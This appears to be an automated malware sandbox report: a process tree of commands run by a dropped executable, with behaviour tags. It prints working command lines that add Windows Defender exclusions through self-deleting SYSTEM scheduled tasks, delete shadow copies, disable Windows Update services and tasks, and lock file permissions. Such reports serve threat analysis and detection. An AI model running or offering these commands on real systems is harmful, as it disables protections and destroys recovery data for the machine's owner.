  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\k2jXUD\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:2176
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\k2jXUD\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5884
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:3488
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:4780
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:4620
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5376
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:5480
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:5516
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:5824
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3408
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:5360
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:5432
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:5428
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3852
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:4948
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:2012
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:1608
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2404
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:2708
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:2940
- C:\Program Files (x86)\P5P5vb\vTV2k3.exe
  "C:\Program Files (x86)\P5P5vb\vTV2k3.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  PID:1064
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c vssadmin delete shadows /all /quiet
    3⤵
    PID:3340
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\P5P5vb" /inheritance:r
    3⤵
    PID:1212
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\P5P5vb" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1332
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    PID:4104
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    PID:5312
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    PID:4712
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\P5P5vb\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    PID:5172
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\P5P5vb\" /t REG_DWORD /d 0 /f"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:2996
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      PID:4364
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      PID:5808
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /q /c "@echo off & (for %i in (wuauserv UsoSvc uhssvc WaaSMedicSvc) do ( net stop %i >nul 2>&1 & sc config %i start= disabled >nul 2>&1 & sc failure %i reset= 0 actions= "" >nul 2>&1 )) & (for %i in (WaaSMedicSvc wuaueng) do ( takeown /f C:\Windows\System32\%i.dll >nul 2>&1 & icacls C:\Windows\System32\%i.dll /grant *S-1-1-0:F >nul 2>&1 & rename C:\Windows\System32\%i.dll %i_BAK.dll >nul 2>&1 & icacls C:\Windows\System32\%i_BAK.dll /setowner "NT SERVICE\TrustedInstaller" >nul 2>&1 & icacls C:\Windows\System32\%i_BAK.dll /remove *S-1-1-0 >nul 2>&1 )) & reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f >nul 2>&1 & reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v FailureActions /t REG_BINARY /d 000000000000000000000000030000001400000000000000c0d4010000000000e09304000000000000000000 /f >nul 2>&1 & reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f >nul 2>&1 & erase /f /s /q c:\windows\softwaredistribution\*.* >nul 2>&1 & rmdir /s /q c:\windows\softwaredistribution >nul 2>&1 & powershell -NoProfile -WindowStyle Hidden -Command "& {Get-ScheduledTask -TaskPath '\Microsoft\Windows\InstallService\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateOrchestrator\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateAssistant\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WaaSMedic\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue;}" >nul 2>&1"
    3⤵
    PID:900
  - - C:\Windows\SysWOW64\net.exe
      net stop wuauserv
      4⤵
      PID:1692
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop wuauserv
        5⤵
        
        PID:2836
  - - C:\Windows\SysWOW64\sc.exe
      sc config wuauserv start= disabled
      4⤵
      Launches sc.exe
      PID:3972
  - - C:\Windows\SysWOW64\sc.exe
      sc failure wuauserv reset= 0 actions= ""
      4⤵
      Launches sc.exe
      PID:1988
  - - C:\Windows\SysWOW64\net.exe
      net stop UsoSvc
      4⤵
      PID:5144
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop UsoSvc
        5⤵
        
        PID:4408
  - - C:\Windows\SysWOW64\sc.exe
      sc config UsoSvc start= disabled
      4⤵
      Launches sc.exe
      PID:3192
  - - C:\Windows\SysWOW64\sc.exe
      sc failure UsoSvc reset= 0 actions= ""
      4⤵
      Launches sc.exe
      PID:1972
  - - C:\Windows\SysWOW64\net.exe
      net stop uhssvc
      4⤵
      PID:3324
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop uhssvc
        5⤵
        
        PID:4984
  - - C:\Windows\SysWOW64\sc.exe
      sc config uhssvc start= disabled
      4⤵
      Launches sc.exe
      PID:2004
  - - C:\Windows\SysWOW64\sc.exe
      sc failure uhssvc reset= 0 actions= ""
      4⤵
      Launches sc.exe
      PID:3012
  - - C:\Windows\SysWOW64\net.exe
      net stop WaaSMedicSvc
      4⤵
      PID:5972
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop WaaSMedicSvc
        5⤵
        
        PID:4280
  - - C:\Windows\SysWOW64\sc.exe
      sc config WaaSMedicSvc start= disabled
      4⤵
      Launches sc.exe
      PID:2552
  - - C:\Windows\SysWOW64\sc.exe
      sc failure WaaSMedicSvc reset= 0 actions= ""
      4⤵
      Launches sc.exe
      PID:4676
  - - C:\Windows\SysWOW64\takeown.exe
      takeown /f C:\Windows\System32\WaaSMedicSvc.dll
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1508
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4092
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\WaaSMedicSvc_BAK.dll /setowner "NT SERVICE\TrustedInstaller"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:5848
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\WaaSMedicSvc_BAK.dll /remove *S-1-1-0
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1136
  - - C:\Windows\SysWOW64\takeown.exe
      takeown /f C:\Windows\System32\wuaueng.dll
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:2624
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\wuaueng.dll /grant *S-1-1-0:F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:5868
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\wuaueng_BAK.dll /setowner "NT SERVICE\TrustedInstaller"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:896
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\wuaueng_BAK.dll /remove *S-1-1-0
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:796
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:1044
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v FailureActions /t REG_BINARY /d 000000000000000000000000030000001400000000000000c0d4010000000000e09304000000000000000000 /f
      4⤵
      PID:200
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f
      4⤵
      PID:2676
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -WindowStyle Hidden -Command "& {Get-ScheduledTask -TaskPath '\Microsoft\Windows\InstallService\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateOrchestrator\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateAssistant\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WaaSMedic\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue;}"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:1336
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\P5P5vb" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    PID:3816
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\P5P5vb" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4824
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\P5P5vb" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)
    3⤵
    PID:4672
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\P5P5vb" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:3516
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\P5P5vb\vTV2k3.exe" /inheritance:r
    3⤵
    PID:2660
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\P5P5vb\vTV2k3.exe" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4304
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\P5P5vb\vTV2k3.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    PID:4816
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\P5P5vb\vTV2k3.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4568
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\P5P5vb\vTV2k3.exe" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    PID:3872
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\P5P5vb\vTV2k3.exe" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:5268
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\P5P5vb\image.png" /inheritance:r
    3⤵
    PID:5400
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\P5P5vb\image.png" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4132
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\P5P5vb\image.png" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    PID:5592
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\P5P5vb\image.png" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:3756
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\P5P5vb\image.png" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    PID:4452
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\P5P5vb\image.png" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:2572
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\P5P5vb\thumbs.db" /inheritance:r
    3⤵
    PID:4600
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\P5P5vb\thumbs.db" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:3356
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\P5P5vb\thumbs.db" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    PID:4448
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\P5P5vb\thumbs.db" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:3688
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    PID:1140
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:3340
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      PID:3512
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      PID:4884
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\P5P5vb\thumbs.db" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    PID:4484
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\P5P5vb\thumbs.db" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:5956
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\P5P5vb\XPSPLOG.dll" /inheritance:r
    3⤵
    PID:2708
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\P5P5vb\XPSPLOG.dll" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:3388
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    PID:5968
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:5904
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      PID:2028
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      PID:456
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\P5P5vb\XPSPLOG.dll" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    PID:5312
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\P5P5vb\XPSPLOG.dll" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:248
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    PID:2392
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4520
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      PID:668
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      PID:4368
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\P5P5vb\XPSPLOG.dll" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    PID:2136
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\P5P5vb\XPSPLOG.dll" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4364
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    PID:368
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:5640
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      PID:1596
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      PID:4512

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\k2jXUD" /t REG_DWORD /d 0 /f
1⤵
- Suspicious use of WriteProcessMemory
PID:4292
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\k2jXUD" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:1048

C:\Windows\system32\cmd.exe
cmd.exe
1⤵
PID:1804

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
1⤵
- Suspicious use of WriteProcessMemory
PID:4684
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:1416

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
1⤵
- Suspicious use of WriteProcessMemory
PID:4124
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:3984

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
1⤵
- Suspicious use of WriteProcessMemory
PID:5908
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:368

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
1⤵
- Suspicious use of WriteProcessMemory
PID:2144
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:5752

C:\Program Files (x86)\P5P5vb\vTV2k3.exe
"C:\Program Files (x86)\P5P5vb\vTV2k3.exe"
1⤵
PID:4584

C:\Program Files (x86)\P5P5vb\vTV2k3.exe
"C:\Program Files (x86)\P5P5vb\vTV2k3.exe"
1⤵
PID:6136

C:\Program Files (x86)\tB6hh2Nx\5nbjG.exe
"C:\Program Files (x86)\tB6hh2Nx\5nbjG.exe"
1⤵
PID:3788

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)\P5P5vb" /t REG_DWORD /d 0 /f
1⤵
PID:968
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)\P5P5vb" /t REG_DWORD /d 0 /f
  2⤵
  PID:2060

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
1⤵
PID:2620
- C:\Windows\System32\reg.exe
